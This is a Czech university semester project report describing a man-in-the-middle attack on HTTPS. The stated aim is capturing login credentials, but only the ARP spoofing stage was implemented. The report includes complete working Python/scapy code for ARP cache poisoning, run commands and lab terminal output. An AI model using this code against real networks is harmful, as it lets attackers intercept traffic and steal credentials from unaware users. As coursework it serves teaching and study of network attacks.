

VYSOKÉ UČENÍ TECHNICKÉ V BRNĚ

FAKULTA ELEKTROTECHNIKY A
KOMUNIKAČNÍCH TECHNOLOGIÍ

SEMESTRÁLNÍ PROJEKT Z PŘEDMĚTU MPC-KRY

Bc. Michael Bláha

Bc. Jarmila Tichá

Bc. Nataliya Golovkova

Bc. Alexandra Kuzmina

2021

Dokumentace požadavků

Cílem projektu je realizace útoku na protokol HTTPS technikou man-in-the-middle. Útočník unese uživatelské spojení a přesměruje komunikaci mezi klientem a serverem tak, aby proudila přes něj. Útočník se pro server tedy bude tvářit jako daný uživatel a pro uživatele se bude tvářit jako cílový server. Veškerá data bude útočník mezi oběma entitami předávat, aby klient útok nezpozoroval. Útočník tak může celou komunikaci odposlouchávat a zaznamenat např. login a hesla zadaná uživatelem na webu. Cílem projektu je vytvořit metodiku/program, který unese komunikaci určitého klienta v síti a realizuje odposlech komunikace mezi klientem a serverem s cílem získat přihlašovací údaje na nějakou webovou stránku. Jednou z možností realizace útoku je např. využití útoků ARP spoofing a SSL Strip.

Rád bych zde podotkl že jsme předpokládali, že použití už hotových nástrojů na systému Kali bude hodnoceno negativně, jelikož by daný bash skript, který by je ovládal byl krátký a jednoduchý. Nepřineslo by to žádnou přidanou hodnotu a hlavně existují nástroje, které tento útok vykonají jedním příkazem.

V dalších kapitolách se budeme věnovat té části kódu, která je funkční a dokáže pracovat samostatně. Více v závěrečné kapitole.

Dokumentace architektury/designu

Při řešení tohoto projektu jsme se snažili vytvořit vlastní program, v programovacím jazyce Python 3, který by byl schopen přesměrovat komunikaci z cílové IP adresy na svojí za pomoci nahrazení některých údajů v ARP tabulce. Dále program měl obsahovat možnost ukládání zachycené dokumentace do pcap souboru, převážně pro potřeby kontroly správné funkčnosti zachycení komunikace. V poslední části by procházející pakety filtroval a snažil se v nich zachytit certifikát při HTTPS handshaku a nahradit ho za vlastní, tím by bylo poté možné danou komunikaci odposlouchávat, a popřípadě i možné ji měnit. Rozhodli jsme se použít Pythnovou knihovnu scapy a scapy-SSL/TLS.

Náš program je vyvíjený na operační systém Linux Kali, jelikož už obsahuje potřebné knihovny a není třeba tam dále cokoli instalovat. Samozřejmě se tyto proměnné mohou s časem měnit, takže verze systému Kali je: **Kali linux 2021.1**. Dále byl systém aktualizován k datu 04.2021.

Zde je vývojový diagram části kódu, která nám funguje a kterou jsme se rozhodli předložit jako výsledek naší práce. Je to v podstatě jenom jedna classa. Konkrétně se jedná o útok na ARP spoof, který zneužívá protokol ARP a umožní se útočnickovi tvářit, že se jedná o cílovou stanici.

ScapyARP
+ odeslane_packets: int
+ spoof
+ obnov
+ get_mac(ip)
+ get_arguments

Technická dokumentace

V této kapitole si vysvětlíme jednotlivé části kódu co dělají a jak jsou implementované.

První část kódu se věnuje získání potřebných údajů pro provedení útoku, jako je MAC adresa, popřípadě informace o cílové stanici. Vytváří se zde ARP packet, který obsahuje IP adresu našeho cíle (oběti). Dále se vytvoří packet s broadcastovou adresou, který je potom spojený s ARP packetem. Poté dojde k poslání paketu funkcí `scapy.layers.l2.srp` a vepsání do listu jak můžeme vidět na obrázku níže. Kde je vypsán samotná ARP paket a poté ARP paket spojený s broadcastovým paketem.

```
# Získa MAC adresu za pomoci IP adresy
def get_mac(ip):
    arp_request = scapy.layers.l2.ARP(pdst=ip)
    broadcast = scapy.layers.l2.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.layers.l2.srp(arp_request_broadcast, timeout=10,
                                       verbose=False)[0]
    answered_list.show()
    return answered_list[0][1].hwsrc
```

```
###[ ARP ]###
  hwtype   = 0x1
  ptype    = IPv4
  hwlen    = None
  plen     = None
  op       = who-has
  hwsrc    = 00:0c:29:d4:2c:5a
  psrc     = 192.168.92.137
  hwdst    = 00:00:00:00:00:00
  pdst     = 192.168.92.136

###[ Ethernet ]###
  dst      = ff:ff:ff:ff:ff:ff
  src      = 00:0c:29:d4:2c:5a
  type     = ARP

###[ ARP ]###
  hwtype   = 0x1
  ptype    = IPv4
  hwlen    = None
  plen     = None
  op       = who-has
  hwsrc    = 00:0c:29:d4:2c:5a
  psrc     = 192.168.92.137
  hwdst    = 00:00:00:00:00:00
  pdst     = 192.168.92.136
```

Tyto dvě funkce zajišťují samotné napadení ARP tabulky, kdy funkce spoof má za úkol upravit ARP tabulku aby došlo k přesměrování komunikace.

Funkce obnov uvede tabulku do původního stavu pro ukončení útoku.

```
# Zmeni MAC adresu v ARP tabulce
def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.layers.l2.ARP(op=2, pdst=target_ip, hwdst=target_mac,
                                psrc=spoof_ip)
    scapy.sendrecv.send(packet, verbose=False)

# Obnovi puvodni MAC adresu v ARP tabulce
def obnov(dest_ip, source_ip):
    dest_mac = get_mac(dest_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.layers.l2.ARP(op=2, pdst=dest_ip, hwdst=dest_mac,
                                psrc=source_ip, hwsrc=source_mac)
    scapy.sendrecv.sendp(packet, count=4, verbose=False)
```


Dále tu tak je pomocná funkce, které zajišťuje vkládání parametrů z terminálu a zobrazení nápovědy.

```
def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", dest="target",
                        help="Zadej IP adresu ciloveho pocitace")
    parser.add_argument("-g", dest="gateway",
                        help="Gateway podsite na ktere se nachazi pocitace")
    options = parser.parse_args()
    return options
```

Poslední část je nekonečný cyklus, který volá funkci spoof, tím pádem útočí na danou adresu. Jedná se nekonečný while cyklus, s výpisem počtu poslaných ARP packetů a možností ukončení útoku za pomoci KeyboardInterrupt.

```
options = get_arguments()
odeslane_packety = 0

try:
    while True:
        spoof(options.target, options.gateway)
        spoof(options.gateway, options.target)

        odeslane_packety += 2
        print(f"\r[+] Packetu poslano: {odeslane_packety} \n", end="")
        time.sleep(2)
except KeyboardInterrupt:
     print("\nCTRL+C .. Obnovuji ARP tabulky.")
    obnov(options.target, options.gateway)
    obnov(options.gateway, options.target)
    print("\nARP tabulka obnovena, prerusuji utok")
```

Uživatelská dokumentace

Před samotným spuštěním kódu si musíme dát pozor na pár věcí. Zaprvé musíme být schopni komunikovat s Broadcastovou adresou. Pokud tedy pracujeme s virtuálním prostředím tak buď musíme používat virtuální router nebo musíme používat možnost NAT v síťovém adaptéru. Jiné formy virtuální sítě jako vlastní virtuální síť pro Host only, nebo síťové segmenty nebo bridge connection nebudou fungovat.

Dále je třeba tento útok buď spouštět z Linuxu Kali, který obsahuje všechny potřebné dependence. Případě musíme nainstalovat Python3 a Scapy.

Pokud máme tohle připravené, tak můžeme zobrazit nápovědu příkazem:

sudo python3 scapyARP.py -h

V nápovědě jsou popsány argumenty které musíme vložit.

```
$ sudo python3 scapyARP.py -h
[sudo] password for kali:
usage: scapyARP.py [-h] [-t TARGET] [-g GATEWAY]

optional arguments:
  -h, --help  show this help message and exit
  -t TARGET  Zadej IP adresu ciloveho pocitace
  -g GATEWAY Gateway podsite na ktere se nachazi pocitace
```

Dále samotný útok spustíme příkazem:

sudo python3 scapyARP.py -t "ip_adresa_cile" -g "ip_adresa_brány"

```
(kali@kali)-[~/Desktop/arp spoof]
$ sudo python3 scapyARP.py -t 192.168.92.136 -g 192.168.92.2
0000 Ether / ARP who has 192.168.92.136 says 192.168.92.137 ==>
0000 Ether / ARP who has 192.168.92.2 says 192.168.92.137 ==> E
```

Na obrázku níže vidíme celý průběh útoku až po jeho ukončení vložením interrupt příkazu:

"CTRL+C"

```
(kali@kali) ~/Desktop/arpspoof
$ sudo python3 scapyARP.py -t 192.168.92.136 -g 192.168.92.2
0000 Ether / ARP who has 192.168.92.136 says 192.168.92.137 ==> Ether / ARP is at 00:0c:29:ef:91:35 says 192.168.92.136 / Padding
0000 Ether / ARP who has 192.168.92.2 says 192.168.92.137 ==> Ether / ARP is at 00:50:56:f2:22:06 says 192.168.92.2 / Padding
[+] Packetu poslano: 2 0000 Ether / ARP who has 192.168.92.136 says 192.168.92.137 ==> Ether / ARP is at 00:0c:29:ef:91:35 says 192.168.92.136 / Padding
0000 Ether / ARP who has 192.168.92.2 says 192.168.92.137 ==> Ether / ARP is at 00:50:56:f2:22:06 says 192.168.92.2 / Padding
[+] Packetu poslano: 4 0000 Ether / ARP who has 192.168.92.136 says 192.168.92.137 ==> Ether / ARP is at 00:0c:29:ef:91:35 says 192.168.92.136 / Padding
0000 Ether / ARP who has 192.168.92.2 says 192.168.92.137 ==> Ether / ARP is at 00:50:56:f2:22:06 says 192.168.92.2 / Padding
[+] Packetu poslano: 6 0000 Ether / ARP who has 192.168.92.136 says 192.168.92.137 ==> Ether / ARP is at 00:0c:29:ef:91:35 says 192.168.92.136 / Padding
0000 Ether / ARP who has 192.168.92.2 says 192.168.92.137 ==> Ether / ARP is at 00:50:56:f2:22:06 says 192.168.92.2 / Padding
[+] Packetu poslano: 8 ^C
CTRL+C .. Obnovuji ARP tabulky.
0000 Ether / ARP who has 192.168.92.136 says 192.168.92.137 ==> Ether / ARP is at 00:0c:29:ef:91:35 says 192.168.92.136 / Padding
0000 Ether / ARP who has 192.168.92.2 says 192.168.92.137 ==> Ether / ARP is at 00:50:56:f2:22:06 says 192.168.92.2 / Padding
0000 Ether / ARP who has 192.168.92.2 says 192.168.92.137 ==> Ether / ARP is at 00:50:56:f2:22:06 says 192.168.92.2 / Padding
0000 Ether / ARP who has 192.168.92.136 says 192.168.92.137 ==> Ether / ARP is at 00:0c:29:ef:91:35 says 192.168.92.136 / Padding

ARP tabulka obnovena, prerusuji utok
```


Zhodnocení

Z námi naplánovaného kódu se nám povedlo vytvořit jen část. Bylo to zapříčiněno více faktory jako komplikovaností útoku na SSL, problém s pouštětím kódu asynchronně. Jelikož některé části kódu musí běžet neustále, jako ARPspoofer, packet logger a samotné čtení paketů co přichází. Dále jsme řešili problémy s nastavením virtuálních sítí a adaptérů, jelikož daný stroj na kterém se kód spouští musí být schopen poslat zprávu na broadcast kanálu. Poté samotný útok na SSL nahrazením certifikátu je sám o sobě dosti komplikovaný, protože se musí hlídat tok paketů filtrovat v nich ty důležité, jako jsou handskaky s certifikátama, klíče. Část kódu co máme a prezentujeme je upravena, tak aby byla samostatně spustitelná a mohla tak být představena.

Do této situace jsme se dostali, protože jsme nechtěli použít již dostupné nástroje, který by bylo možné jednoduše volat pomocí bash skriptu nebo s pomocí jiných prostředků. Dokonce existují nástroje co toto všechno zvládnou jedním příkazem. Což by nemělo moc přínos a nebylo by takové řešení asi hodnoceno pozitivně i přes to, že by to znamenalo splnění zadání.